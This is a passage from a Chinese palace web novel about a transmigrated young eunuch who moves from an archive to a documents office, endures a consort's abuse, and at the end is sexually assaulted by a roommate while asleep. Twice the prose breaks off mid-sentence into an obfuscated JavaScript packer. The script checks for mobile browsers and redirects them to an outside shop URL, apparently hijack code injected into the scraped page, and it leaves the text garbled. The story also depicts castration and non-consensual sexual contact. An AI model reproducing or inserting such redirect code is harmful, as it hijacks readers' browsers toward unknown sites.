温暖的阳光照在他苍白得近乎透明的脸上,带来久违的暖意。他眯着眼,看着院子里其他忙碌或发呆的小太监,看着高墙上方那一小片湛蓝的天空。 他深知,暂时的安全只是假象。 他必须尽快好起来,必须在这看似平常的宫廷生活中,找到属于自己的生存之道,找到能够挣脱既定命运的机会。 4. 第 4 章 身体的好转,在掖庭这种地方,意味着清闲日子的结束。 关禧能扶着墙慢慢走动后的第三天,那个负责日常管束他们的刘太监就皮笑肉不笑地找了过来。 “小离子,能下地了?挺好,王公公那儿还记挂着你呢。”刘太监用他那双三角眼上下打量着关禧,目光在他轮廓越发清晰的脸蛋上转了几圈,“既然死不了,就别躺着吃白食了。明儿个一早,跟着杂役队出去干活。” 关禧低眉顺眼地应了声:“是,刘公公。不知小的被分派到何处?” 刘太监哼了一声,对他的识趣还算满意:“算你运气,没让你去刷马桶倒夜香。内务府那边要整理一批旧年的卷宗,缺几个手脚麻利……咳,至少眼睛好使的,去库房搬搬抬抬,顺便清扫一下。那地方,清净。” 库房?整理卷宗? 关禧微微一怔。这听起来,似乎比去各宫苑直面主子们要安全得多。至少,远离了那个侍寝风险最高的中心——皇帝和他的妃嫔们。 “多谢刘公公安排。”他再次低头,掩去眼中一闪而过的思量。 第二天天还没亮,关禧就被同屋的动静吵醒。他挣扎着起身,换上了一套还算干净的灰色太监服,将头发勉强束好。镜子是没有的,只有水缸里模糊的倒影,映出一张瘦削苍白的脸。 跟着另外几个同样被指派的小太监,他低着头,沉默地走在清晨宫廷清冷的长街上。高大的宫墙投下沉重的阴影,隔绝了天空,也隔绝了自由。 领路的太监将他们带到了一处位于皇宫偏僻角落的院落前。院门上的漆皮有些剥落,匾额写着“典籍司”三个大字,透着一股陈年旧纸和灰尘混合的气息。 “就是这儿了。进去找里头的管事赵公公,听他吩咐。午时自有人送饭食过来,日落前完工回净舍,不得延误!”领路太监交代完,便转身离开了。 推开沉重的木门,一股更浓郁带着霉味的陈旧气息扑面而来。院子里堆着一些蒙尘的杂物,正对着的是一排高大的库房。 一个穿着半旧宦官服,头发花白的老太监正坐在廊下的小凳上,就着天光,慢悠悠地擦拭着一本泛黄的书册。他听到动静,抬起头,露出一张布满皱纹但眼神却异常清亮平和的脸。 “是新来的小子们?”老太监的声音有些沙哑,“咱家姓赵,管着这典籍司的库藏。你们今天的活儿,就是把甲字库靠东边那几个架子上的卷宗搬出来,拂去灰尘,按年份重新码放整齐。手脚轻些,这些都是些陈年旧账、过往文书,虽不值钱,却是宫里的记录,损毁了也是罪过。” “是,赵公公。”几个小太监齐声应道,显然对这份沉闷的工作没什么兴致。 关禧却心中微微一动。陈年旧账?过往文书? 这地方,看似冷清偏僻,远离权力中心,但这些堆积如山的卷宗里,会不会藏着一些有用的信息?关于这个晟朝皇宫的秘辛,规矩,甚至是……某些不为人知的出路? 他低下头,跟着其他人走进甲字库。 库房内光线昏暗,只有高处的几个小窗透进几缕天光,照亮了空气中飞舞的尘埃。一排排高大的木架直抵房梁,上面堆满了各种卷轴,册页,有些显然多年未曾动过,积了厚厚一层灰。 活儿不轻松。卷宗沉重,搬动起来对于伤势未愈的关禧来说尤为吃力。他咬着牙,尽量用双臂和腰腹的力量,避免牵扯到下身的伤口。动作慢了,难免招来同行小太监几句不耐烦的嘀咕和白眼。 但他并不在意。他的目光,更多地流连在那些卷宗的封皮上。 《内务府·嘉佑三年用度记录》,《掖庭局·宫人名册(永昌期)》,《司礼监·往来文书抄录》…… 这些枯燥的名称背后,是这座皇宫运行的脉络和历史。 休息的间隙,其他小太监都凑到院子角落里偷懒打盹,关禧借口透气,慢慢踱到廊下,靠近那位一直安静看书的赵公公。 赵公公察觉到了他的靠近,从书页上抬起眼,温和地看了他一眼:“伤还没好利索?看你搬东西的样子,咬着牙在硬撑。” 关禧没料到这位老太监观察如此细致,他不敢隐瞒,低声道:“回公公的话,是还有些不便,但不敢耽误差事。” 赵公公笑了笑,合上书册,封皮上是《舆地纪胜》四个字,“无妨,这地方,别的没有,就是时间多。慢慢来,别再把身子弄垮了。”他顿了顿,看着关禧,“你似乎对这些旧纸堆挺感兴趣?” 关禧斟酌着词句:“小的只是好奇,这宫里以前是什么样子。” “以前啊……”赵公公目光投向远处,带着些许追忆,“宫墙还是这宫墙,人换了一茬又一茬罢了。不过,这些故纸堆里,确实埋着不少故事。有人的起落,有事的兴衰。看得多了,也就透了。” 关禧鼓起勇气,试探着问:“公公,那您……看过那么多记录,有没有人……是能离开这宫墙,换一种活法的?” 问出这句话,他的心悬到了嗓子眼。这是他目前最关心的问题。 赵公公闻言,重新将目光落在他脸上,沉默了片刻,才缓缓道:“宫规森严,内侍终身服役,除非……主子特赦,或年迈体衰被恩准出宫荣养。再者……”他声音压低了些,“便是犯了重罪,被逐出宫去,那下场,往往比老死宫中更惨。” 关禧的心沉了下去。 赵公公看着他瞬间黯淡下去的眼神,轻轻叹了口气:“孩子,既然进了这里,有些念头,该断就得断。活着,比什么都强。在这典籍司,虽清苦,倒也安稳。至少,不必日日提心吊胆,担心一步行差踏错,就万劫不复。” 他的话像一盆冷水,浇灭了关禧刚刚燃起的一丝希望之火,但不知为何,看着赵公公那平洞悉世事的眼神,他心中那份焦灼,被抚平了一丝。 至少,这里暂时是安全的。 他需要时间,需要了解更多。而这些看似无用的故纸堆,或许就是他了解这个世界的钥匙。 “多谢公公指点。”关禧深深吸了一口带着霉味的空气,恭敬地说道。 赵公公摆了摆手,不再多言,重新翻开那本《舆地纪胜》,沉浸其中。 关禧转身,重新走向那灰尘弥漫的库房。 典籍司,这个被遗忘的角落,或许就是他在深宫中挣扎求生的第一个立足点。他要在这里养好伤,摸清规则,然后,等待那不知是否会出现的,挣脱牢笼的契机。 日子,就在这翻动故纸堆的沙沙声中,一天天过去。 关禧的身体在典籍司相对清净的环境和规律的饮食下,慢慢好了起来。下身那狰狞的伤口结痂脱落,留下了粉色的新肉,虽然偶尔剧烈活动时还会有些许不适,但已无大碍。苍白的脸颊也因每日的行走和劳作,恢复了些许血色,衬得那双本就出色的眉眼越发清晰。 更重要的是,他的头脑在这段时间得到了充分的滋养。除了每日必要的体力劳动,他将所有空闲时间都泡在了那些故纸堆里。结合小离子残存的,关于宫廷表层规矩的记忆,以及赵公公偶尔的只言片语和卷宗中透露出的庞杂信息,他对这个名为“晟”的朝代,对这座吃人的皇宫,有了更深入,更立体的认知。 等级森严,尊卑分明。太监宫女如同草芥,主子的喜怒决定生死。各种势力盘根错节,前朝后宫牵连不断。想要安稳活下去,要么彻底泯然众人,要么就得依附强者,或者自己成为强者。 同时,一个念头在他心底疯长——回去,回到现代去。 他是魂穿,那具十七岁可能因为心脏问题而濒临死亡的身体还在医院呢,父母怎么办?他的人生怎么办?难道真要在这个鬼地方,顶着一个太监的身份,战战兢兢地过一辈子,甚至可能要去给一个男人侍寝? 每当想到这个,他就一阵恶寒。 可是,怎么回去?穿越的原因不明,方法更无从谈起。他翻阅典籍司那些杂书,甚至偷偷找过一些志怪野史,玄异传说,希望能找到类似借尸还魂或时空逆转的线索,但大多荒诞不经,毫无头绪。 这成了他心底最深沉的焦虑和动力。 这天,他结束了典籍司的工作,将最后一册整理好的卷宗归位,拍了拍身上的灰尘,向廊下看书的赵公公行了一礼,默默退了出来。 夕阳的余晖给冰冷的宫墙镀上了一层暖金色,他沿着熟悉的宫道往净舍走,心情有些沉重——对归途的迷茫,像一块巨石压在心头。 “离子哥!” 一个略带惊喜的声音从身后传来。关禧回头,看到石头小跑着追了上来。几个月过去,石头似乎也长开了些,眼神里多了几分在宫中历练出的机灵,少了些最初的怯懦。 “石头,今天回来得挺早。”关禧放缓脚步,等他跟上。 “嗯,今天活少,管事公公心情也好,就放我们早回了。”石头凑近些,压低声音,“离子哥,你知道吗?我听说御花园那边的牡丹开得可好了,几位娘娘最近常去赏玩呢。” 关禧对此兴趣缺缺,只是淡淡地“嗯”了一声。 石头习惯了他的沉默,自顾自地说着听来的八卦。两人并肩走在相对僻静的宫道上,眼看再穿过前面那个连接东西六宫的月华门,就能回到他们居住的掖庭范围。 就在他们刚靠近月华门时,一阵略显尖锐的女声从前方的岔路口传来,打破了黄昏的宁静。 “姐姐这话说的,莫非是觉得陛下赏给我的这匹云锦,不合规矩不成?”一个穿着鹅黄色宫装,容貌娇艳的女子扬着下巴,语气带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892375|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显的不悦。 正是石头之前提过的,他远远见过的徐昭容,徐宛白。 与徐宛白对面而立的,是一位身着水蓝色衣裙,气质更为温婉沉静的女子,是承华宫的冯媛,冯昭仪。 “妹妹误会了。云锦是贡品,陛下赏赐,自然是妹妹的福气。只是内务府记录,这批云锦按例该是先送入皇后娘娘宫中挑选,妹妹这般直接领了,怕是于礼不合,也容易惹人闲话。” 徐宛白显然不吃这一套,柳眉一竖:“皇后娘娘仁厚,岂会在意这些小节?姐姐管着宫务,未免也管得太宽了些!莫非是见陛下近日多召见了我几次,姐姐心中不快了?” 这话已是相当不客气,带着直白的挑衅。周围随侍的宫女太监们个个屏息垂首,不敢发出一点声音。 冯媛脸色微沉,“妹妹慎言!宫规礼法,非是针对一人一事。本宫既协理六宫,便有规劝之责。妹妹若觉得本宫多事,大可去皇后娘娘面前分说。” “你!”徐宛白被噎了一下,脸上红一阵白一阵。 关禧和石头恰好走到月华门附近,不可避免地撞见了这一幕。两人立刻停下脚步,躬身退到宫道一侧,深深低下头,恨不得把自己缩进墙缝里。这种后宫嫔妃之间的争斗,是他们这些最低等太监最怕碰到的,稍有牵连,就是灭顶之灾。 关禧心中暗叫倒霉。他只想安稳度日,寻找回去的方法,一点也不想卷入这些是非。 然而,怕什么来什么。 徐宛白正在气头上,一眼瞥见路边两个灰扑扑的小太监,尤其是关禧那张即使低着头也难掩精致的侧脸,顿时像是找到了发泄口。 “哪来的不懂规矩的奴才!见到本宫和冯昭仪在此,竟敢偷听?!”徐宛白迁怒地喝道,目光如刀子般刮过关禧和石头。 石头吓得浑身一抖,腿都软了,噗通一声就跪了下去,连连磕头:“奴才不敢!奴才不敢!昭容娘娘恕罪!” 关禧也只能跟着跪下,伏低身体,用刻意压低,显得惶恐的声音道:“奴才刚做完差事回净舍,无意冲撞两位娘娘,请娘娘恕罪!”他心中警铃大作,知道在这种时候,任何一点特殊都可能引来灾祸。 冯媛皱了皱眉,似乎觉得徐宛白有些小题大做,但并未出声。 徐宛白却不依不饶,走到关禧面前,用脚尖踢了踢他的肩膀,力道不重,侮辱性却极强:“抬起头来!” 关禧心脏一缩,依言缓缓抬头,但眼睛依旧看着地面,不敢与徐宛白对视。 当徐宛白看清关禧的脸时,眼中闪过一丝明显的惊讶和嫉妒。她本就对自己的容貌极为自负,此刻见到一个太监竟生得如此俊俏,甚至带着几分她不愿承认的,超越性别的昳丽,那股无名火更是烧得旺盛。 “哼,王公公现在倒是会挑人,净选些狐媚子一样的货色。”徐宛白语带讥讽,意有所指,“怎么,想着凭这张脸往上爬吗?” 这话恶毒至极,不仅侮辱了关禧,隐隐还影射了某些关于皇帝喜好的传闻。 冯媛的眉头皱得更紧了,出声打断:“妹妹,与两个小太监置气,失了身份。” 关禧伏在地上,指甲深深掐进掌心,屈辱和愤怒在胸中翻涌,但理智告诉他,此刻绝不能反驳,甚至不能流露出任何不满。他只能将头埋得更低,声音颤抖着重复:“奴才不敢,娘娘明鉴。” 徐宛白见冯媛开口,又见关禧一副逆来顺受的惶恐模样,觉得无趣,冷哼一声:“滚吧!别在这里碍眼!” “谢娘娘恩典!”关禧和石头如蒙大赦,连忙磕头,然后几乎是手脚并用地从地上爬起来,低着头,弓着腰,快步穿过月华门,直到走出很远,才敢稍稍直起身子。 石头拍着胸口,后怕不已:“吓、吓死我了……徐昭容今天火气怎么这么大……” 关禧没有说话,他回头望了一眼那森严的宫门,眼神冰冷。 这次意外的冲突,像一盆冷水,彻底浇醒了他。 在这个地方,即使他只想低调苟活,麻烦也会自动找上门。他的容貌,在这后宫之中,本身就是一种原罪。今天只是被辱骂几句,已是万幸。若下次…… 冯媛看似讲理,但那份平和下藏着的是协理六宫的权力和深不见底的心机。徐宛白骄纵跋扈,情绪外露,更容易对付,但也更可能因一时喜怒就随意处置他们。 依附?自保?远远不够。 典籍司的清净只是暂时的,净舍更是危机四伏。王公公那边,等他身体彻底养好,那张好相貌的标签,随时可能再次将他推向风口浪尖。 必须尽快行动起来了。 要么,找到回去的方法。 要么,就在这吃人的深渊里,抓住一切可能,攀住一根足够高的枝桠。 5. 第 5 章 回到阴暗潮湿的净舍,同屋的小太监们大多已歇下,鼾声四起。 石头依旧心有余悸,凑过来小声道:“离子哥,今天真是吓死人了,以后咱们还是绕着那些主子走吧……” 关禧没接话,默默打水,仔细清洗着脸和手脚。冰冷的水刺激着皮肤,让他混乱的思绪逐渐冷静下来。他需要分析,需要计划。 目标:寻找一个可靠的,有一定权势的大腿依附,以获得庇护,摆脱随时可能被送去侍寝的命运,并为自己争取调查回归方法的时间和空间。 自身筹码分析: 容貌:优势也是最大的劣势。可以利用,但必须极其谨慎,绝不能引起主子的兴趣,尤其是那种性质的兴趣。需设法将关注点从美色转移到其他价值上。 学识:来自现代的思维方式和知识储备,尤其是数学,逻辑,可能还有超越时代的见识。这是他独一无二的优势,但如何展现?展现给谁?需要契机。 目前处境:在典籍司当差,能接触到大量陈旧卷宗和信息。这是一个信息优势,或许能从中找到某些主子的喜好,需求,或是宫廷中的势力分布漏洞。 身份:最低等太监,毫无根基。这是最大的劣势,意味着他承受风险的能力极低,一步踏错,万劫不复。 潜在依附对象分析:高阶妃嫔,如皇后,四妃:权势大,庇护力强。但后宫争斗激烈,容易成为棋子或炮灰。且妃嫔身边多是宫女和心腹太监,难以接近,更难获得信任。 有权势的大太监如司礼监掌印,秉笔太监,内务府总管:同属宦官体系,理论上更容易接触和投靠。但大太监身边更是虎狼环伺,竞争残酷,需要展现出非凡的价值或甘当爪牙。 看似不得势但可能有潜力的主子或高级宦官:风险高,但一旦投资成功,回报可能也高。需要极强的眼光和运气。 像赵公公这样的边缘老人:安全,但提供不了他所需的庇护,只能提供有限的安稳。 权衡再三,关禧觉得,直接投向妃嫔风险过高,尤其是他这张脸,在妃嫔眼中恐怕首先是威胁。而投向权势滔天的大太监,他目前连门都摸不着。 或许……可以从王公公这里入手?王公公是内务府派来的掌事,直接管理他们这批记名内侍,本身有一定权力,而且显然对他有所图谋。如果能巧妙地利用这一点,暂时稳住他,甚至从他那里获得一些信息和机会,比如调离净舍,安排到某个相对安全又能接触更多信息的地方…… 但这无异于与虎谋皮。王公公绝非善类,他的欣赏带着明确的利用目的。 “必须让他觉得,我活着,并且在一定程度上的好,比把我当成一次性消耗品献上去,对他更有利。”关禧躺在冰冷的铺位上,盯着黑暗的屋顶,大脑飞速运转。 如何增加自己的价值? 除了容貌,他还能提供什么? 典籍司……信息…… 一个念头渐渐成型。 接下来的几天,关禧在典籍司干活更加卖力,同时也更加留意。他不仅整理卷宗,还会在赵公公允许的范围内,快速浏览一些非核心的记录,尤其是关于内务府人员调配,各宫苑用度惯例,甚至是一些陈年旧案的处理记录。 他发现,内务府的账目虽然繁琐,但并非无迹可寻,某些地方甚至存在明显的粗疏或不合逻辑之处。而他来自现代,受过基础会计和逻辑训练的眼睛,很容易就能看出这些问题。 同时,他也格外留意王公公的动向。通过旁敲侧击地从其他小太监和赵公公那里打听,他了解到王公公有贪财,好面子,以及偶尔会私下倒腾一些宫外稀罕物件的癖好。 机会来得比他预想的快。 这天下午,王公公竟然亲自来到了典籍司。他显然是来找赵公公的,两人在廊下低声交谈着什么。关禧隐约听到“账目”,“核对”,“往年旧例”等词语。 赵公公似乎有些为难,翻找着几本册子,眉头紧锁:“王老弟,不是我不帮你,这几年的记录堆在一起,一时半会儿,怕是理不清头绪……” 王公公脸上带着惯常的笑容,但眼神里有一丝不易察觉的焦躁:“赵老哥,您再仔细找找,这事儿……上头催得急。” 关禧心中一动。他默默放下手中的活计,走到库房门口,对着王公公和赵公公的方向,恭敬地行了一礼,声音不大不小,恰好能让两人听见:“王公公,赵公公。” 王公公被打断,有些不悦地瞥了他一眼,但看到他气色比之前好了不少,那张脸在昏暗光线下更显俊俏,脸色稍霁:“嗯?小离子,有事?” 关禧垂着眼,语气恭顺:“小的方才在整理乙字库靠门架上的卷宗时,似乎看到过嘉佑十二年内务府采买木炭的明细记录与核销单据,还有永昌初年宫中各处分例调整的底档……不知是否与两位公公所言之事有关?” 赵公公愣了一下,讶异地看向关禧:“乙字库?那些都是更早的杂项记录了,你怎么……” 王公公眼中却精光一闪,立刻追问:“你确定?嘉佑十二年的木炭采买记录?具体在哪个位置?” 关禧抬起头,目光清澈,带着恰到好处的回忆神色:“回公公,应该是在乙字库进门右手边第三排架子,中层,用蓝色布套包裹的那一摞。永昌初年的底档则在旁边第四排,下层,是几本灰皮册子。” 他之所以记得这么清楚,是因为前几天刚整理过那片区域,并且出于习惯,对数字和分类格外敏感。 王公公立刻对身边跟着的小太监使了个眼色。那小太监快步走进乙字库,不一会儿,果然拿着关禧所说的蓝色布套和几本灰皮册子出来了。 赵公公接过翻看片刻,脸上露出恍然之色:“没错!就是这些!王老弟,你看……” 王公公凑过去看了看,紧绷的脸色顿时舒缓开来,再看向关禧时,眼神已经完全不同了,那不再是看待一件漂亮玩物的眼神。 “小离子,你……记性倒是不错。”王公公意味深长地说。 关禧谦卑地低下头:“小的只是手脚笨拙,怕误了事,所以干活时多用了些心,不敢当公公夸奖。” “多用了几分心……”王公公重复了一遍,脸上露出一丝真正的笑容,他转向赵公公,“赵老哥,你这儿倒是出了个伶俐人儿。” 赵公公呵呵一笑,看了关禧一眼,没多说什么。 王公公有要事在身,拿着找到的册子很快离开了。但他临走前,特意看了关禧一眼,那眼神分明在说:我记住你了。 关禧投出的第一颗石子,似乎激起了些许涟漪。 几天后,刘太监来找关禧,通知他不必再去典籍司了。 “王公公给你安排了新差事,”刘太监的语气带着点不易察觉的酸意,“去司礼监外院的文书房,帮着做些抄录,整理的活计。小子,走了运道,可要仔细着点!” 司礼监外院文书房。 那里虽然还不是权力核心,但已经是能够接触到机要文书往来抄录的地方了,比典籍司那种存放过期档案的地方,离宫廷的中枢权力近了一大步。 这无疑是王公公对他那次表现的回应。他看到了他除了容貌之外的另一种价值——细心,记性好,对文书档案敏感。这种价值,对于在宫廷中经营势力的太监来说,同样有用。 这是一个机会,一个更接近权力,也能获取更多信息的机会。但风险也同样巨大,司礼监龙蛇混杂,一步行差踏错,后果不堪设想。 关禧深吸一口气,压下心中的激动与不安。 抱大腿的第一步,似乎迈出去了。虽然这大腿本身也充满了不确定性,但至少,他不再是完全被动地随波逐流。 随着新差事的任命下来,搬离净舍也成了顺理成章的事情。 司礼监外院文书房虽不算核心要地,却也比掖庭最北边的净舍强上太多。那里当差的太监,即便是最低等的,也有相对固定的居所,通常是几人合住一间,不再是净舍那种十几人挤大通铺,空气污浊,毫无隐私可言的环境。 来通知他并帮他搬家的,是刘太监。他脸上那点酸意已经收敛了起来,换上了几分若有若无的客气,毕竟关禧现在算是被王公公另眼相看的人,哪怕只是暂时的,微不足道的,也值得他稍微调整一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892376|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下态度。 “小离子,收拾收拾吧,文书房那边的直房已经给你腾出个位置了。”刘太监站在门口,没再往里走,嫌弃净舍里的气味。 关禧的东西少得可怜。除了身上这套略干净些的太监服,就只有当初王公公恩典的那床铺盖。他默默地将那薄薄的铺盖卷起,动作间,感觉到同屋其他小太监投来的目光复杂难辨,有羡慕,有嫉妒,也有漠然。 他在这里没有任何朋友,除了石头。 果然,石头蹭了过来,眼圈有些发红,怯生生地扯了扯关禧的袖子,声音带着哽咽:“离子哥……你、你真要走了啊?” 关禧看着这个在最初艰难时刻给过他一点微弱帮助的孩子,心中也难免有些触动。在这吃人的地方,一丝善意都显得弥足珍贵。他停下动作,拍了拍石头的肩膀,低声道:“嗯,要去文书房了。” “那……那我以后是不是见不到你了?”石头的声音更低了,关禧的离开,意味着他在这冰冷净舍里唯一一点微弱的光亮和依靠也要消失了。 关禧沉默了一下。他知道自己前途未卜,司礼监那种地方更是步步惊心,他无法给石头任何承诺,甚至可能自身难保。但看着石头那依赖的眼神,他终究还是心软了。 “不会的。”他压低声音,用只有两人能听到的音量说,“都在宫里,总有碰见的时候。你……自己好好的,机灵点,别惹事,但也别太吃亏。”他顿了顿,补充了一句,“如果……如果有什么急事,可以试着来文书房附近找我,但千万别让人看见,明白吗?” 这几乎是他能给出的最大限度的保证了,一个充满风险的联络渠道。 石头却像是抓住了救命稻草,连忙点头,眼泪终于掉了下来,又赶紧用袖子擦掉:“我明白!离子哥,你也要好好的……我会想办法偷偷去看你的!” 刘太监在外面等得不耐烦了,咳嗽了一声。 关禧不再多言,最后看了石头一眼,将那小小的铺盖卷背在肩上,走出了这间承载了原主死亡和他艰难重生记忆的阴暗房间。 踏出净舍门槛的瞬间,他并没有感到多少轻松,反而觉得肩上的无形担子更重了。离开底层,意味着接触更深的水域,那里的暗流只会更加汹涌。 文书房分配的直房在司礼监外围的一处小院里,比起净舍,这里确实清净了许多。一间屋子住四人,都是木板床,各有简单的储物箱笼,干净整齐,空气也流通不少。 同屋的三人都是文书房的低等太监,负责抄写,跑腿等杂务。见到关禧进来,几人只是抬了抬眼,打量了他一番,眼神里有审视,有好奇,但也仅止于此,并没有表现出明显的热情或排斥。 在这里,大家都遵循着一种默认的规则——保持距离,做好分内事,不多言,不多事。 关禧乐得如此。他默默选了个靠墙的空铺位,将自己的铺盖放下。动作间,下身曾经重伤的部位传来一丝轻微的牵拉感,提醒着他这具身体曾经的创伤和现在的身份。 安顿好后,他坐在硬邦邦的床板上,环顾这间小小的屋子。这里将是他在深宫中新的起点,也是他谋划下一步行动的据点。 王公公将他调来这里,是看中了他在文书处理上的潜力,可这潜力需要迅速转化为实实在在的价值,他才能在这新的环境中站稳脚跟,才能让王公公觉得投资有所回报,从而暂时保障他的安全。 司礼监文书房,这里流通着大量的公文,奏折抄本,往来文书。核心机密接触不到,仅仅是这些表面的信息,其蕴含的价值也远超典籍司那些故纸堆。 他需要尽快熟悉这里的规矩,流程,摸清人际关系,然后,像在典籍司那样,找到能够展现自己独特价值的机会。 同时,那个终极目标——寻找回归现代的方法,也绝不能放弃。或许,在这里接触到的更前沿,更隐秘的信息中,会有一丝线索? 关禧深吸一口气,感受着新环境中那多了几分文书墨香的空气。 前路依旧迷茫,危机四伏。 但至少,他不再是那个躺在停尸房里等死,或者蜷缩在净舍角落绝望的小太监。 6. 第 6 章 司礼监外院文书房的差事,比起典籍司的灰尘仆仆和净舍的无所事事,显得规整而刻板。 每日天不亮,宫中的更鼓声便是起床的号令。 关禧随着同屋的三人一同起身,洗漱,整理床铺。宫中规矩大,即便是最低等的太监,仪容也必须整洁,头发要梳得一丝不乱,衣服要拍打干净,不能有碍观瞻。 同屋的三人,年纪都比关禧稍大些。一个叫李福,面皮微黑,做事一板一眼,是屋里的老人,也是文书房一个小管事的副手,平日里话不多。一个叫张旺,身材瘦小,眼神灵活,显得有些油滑,喜欢打听消息,也爱占点小便宜。还有一个叫孙河,性子有些沉闷,总是低着头,像是有什么心事。 关禧初来乍到,谨言慎行,对谁都客客气气,称呼一声“李哥”,“张哥”,“孙哥”。那三人见他态度恭顺,模样虽好却并不张扬,暂时也相安无事。 早饭是在直房的小院里吃的。 由膳房统一送来,几个大木桶,一桶是能照见人影的稀粥,一桶是杂面窝头,还有一小盆不见油星的咸菜。 众人排队领取,各自蹲在屋檐下或回屋里吃。关禧捧着粗陶碗,小口喝着寡淡的粥,啃着拉嗓子的窝头,心里在盘算着。这点食物只能勉强果腹,想要身体尽快恢复并保持精力,远远不够。他必须想办法弄到更多,更好的食物,或者……银钱。 饭后,便是一天的正式工作。文书房的活计主要是抄录,整理,归档各类往来文书。关禧被分派的任务是誊写一些不太重要的奏折副本和往来函件。要求字迹工整,不得有错漏。这对于关禧来说并不难,他甚至能刻意模仿几种不同的工整字体,避免字迹过于有特色而引人注意。 工作环境相对安静,只有毛笔划过纸张的沙沙声,和偶尔的低语。李福有时会分配任务,检查进度。张旺则常常借着倒水,如厕的机会,在屋子里溜达一圈,看看别人在写什么,或者凑到相熟的人耳边嘀咕几句。孙河则永远是埋首案牍,仿佛外界与他无关。 关禧一边机械地抄写,一边不动声色地记忆着文书的内容。虽然多是些例行公事,但从中也能窥见朝堂动向,边疆军情,各地灾异等等。这些信息碎片,被他默默记在心里,试图拼凑出这个时代更完整的图景。 午饭依旧简单,和早饭相差无几,只是粥稠了些,偶尔能多半个窝头。饭后有短暂的休息时间,众人或趴着小憩,或低声闲聊。 而一天之中,对关禧而言,最难熬的莫过于解手。 宫中对太监的管理极为严格,如厕有固定的时间和地点。文书房附近就有一处专供低等内侍使用的净房,条件比净舍的恭桶稍好。 这天下午,关禧感到小腹坠胀,便起身往净房去,同屋的张旺正好也一同前往。 净房内是简单的蹲坑,用矮墙隔开。 关禧走到最里面一个位置,习惯性地解带,站立。 他可以站着。 这是小离子这具身体,在经历了所谓的宫刑后,残存的生理结构所决定的。王公公挑中他们这些好相貌的,进行的是另一种手术,只去其丸,保其形。据说是为了迎合皇帝某种难以言说的癖好,既要貌美少年之姿,又要保留部分男子的象征,以满足其特殊的观感乃至……使用需求。 而那些容貌普通的太监,则多是全净,即一刀切得干净利落,彻底绝了念想,也少了些是非。 水流声在寂静的净房里显得有些清晰。 旁边的张旺正蹲着,闻声下意识地侧头瞥了一眼,当他看到关禧竟然是站着解手时,眼神瞬间一变,那里面混杂了嫉妒和怨愤。 关禧立刻察觉到了那道目光,动作都僵硬了半分,他飞快地解决完,系好裤带,低着头,假装无事发生,快步走了出去。 身后,传来张旺极低的一声冷哼,带着说不清的酸意。 回到直房,气氛有了一丝微妙的变化。张旺看关禧的眼神,不再仅仅是之前的审视和好奇,多了些阴郁。 关禧心里明白,这半割与全割的区别,在这深宫里,又是一道无形的鸿沟。像他这样的,因为一张脸得了这特殊待遇,在某些方面似乎保留了多一点点的尊严,但也因此更容易招致同类的嫉恨,被视为靠着皮相走捷径的异类,甚至是被上面当作玩物的预备役。 这种区别,就像一根刺,扎在那些被全净的太监心里。他们失去了所有,而这些半割的,还残存着一点象征,哪怕这点象征同样带着屈辱的印记,也成了他们嫉妒的对象。 凭什么?就凭一张脸? 关禧感到一阵无力。他厌恶这具身体,厌恶这残存的,提醒他屈辱现状的象征,还要因为这残存承受来自同类的恶意。 晚饭还是稀粥窝头。关禧默默地吃着,味同嚼蜡。 夜幕降临,宫中下钥,各宫各处也渐渐安静下来。文书房不需要值夜,众人便回到了直房。点起一盏昏暗的油灯,各自活动。李福拿出个小账本,在算着什么。张旺凑到孙河边,低声说着什么,眼神不时瞟向关禧。孙河只是摇头,并不搭话。 关禧无事可做,也不想参与他们的闲聊,便坐在自己的铺位上,闭目养神,脑子里在反复推演着可能遇到的各种情况,以及应对之法。他必须更小心,不仅要提防上面的主子,还要提防身边的同类。 在这压抑的寂静中,他越发想念现代的一切。想念家里温暖的灯光,母亲做的饭菜,父亲关切的询问,还有那堆永远做不完的试卷…… 回去的念头,就像黑暗中唯一的光,支撑着他在这宫廷里,继续挣扎下去。 * 夜深了,直房里此起彼伏的呼吸声渐渐平稳。 油灯早已熄灭,只有清冷的月光透过窗棂,在地上投下模糊的光斑。 关禧睡得很沉。白日的谨小慎微,精神紧细,加上身体尚未完全恢复的虚弱,让他一旦入睡,就像是坠入了无底的深潭,很难轻易醒来。他梦到了现代的家,梦到了温暖的被窝和母亲轻柔的呼唤,以至于身上传来的异常触感,最初只被他当成了梦境里的干扰。 直到……那只手,带着湿冷的汗意和不容忽视的力道。隔着单薄的寝衣,在他腰侧流连,然后缓缓向下,覆上了他那残存,也是他最不愿触碰和想起的部位。 关禧猛地惊醒。 黑暗中,一个沉重的身躯压在他身上,带着劣质皂角的气息。他能感觉到对方急促的呼吸喷在自己的领侧,那只手正在笨拙又急切地揉捏着。 “谁?!滚开!”他几乎是嘶吼出声,声音因惊怒而变调,屈膝,用尽全身力气向上顶去。 “呃!”身上的人发出一声闷哼,显然没料到他会醒得这么快,反抗如此激烈,被顶得向后退了退,但一只手仍死死抓着他的胳膊。 借着微弱的月光,关禧看清了压在他身上的人——是张旺,那个眼神油滑,喜欢打听,下午在净房里用嫉妒眼神瞥他的张旺。 